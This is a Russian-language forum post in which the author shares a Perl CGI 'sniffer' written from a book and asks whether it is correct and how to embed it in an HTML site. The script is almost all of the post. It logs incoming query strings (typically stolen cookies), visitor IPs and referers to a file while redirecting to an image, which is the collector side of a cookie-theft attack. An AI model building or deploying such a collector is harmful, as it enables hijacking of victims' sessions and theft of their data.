люди я тут сниффер на html написал правда по книжке.зацените все правильно или нет???а можна его с html сайтом слить?у меня не получаеться!!!! вот он:#!/usr/bin/perl
$LogFile="log.txt";
$mlength=150;
print "Location: image.gif\n\n";
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);
open (LOG, ">$LogFile");
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};
close (LOG);
exit;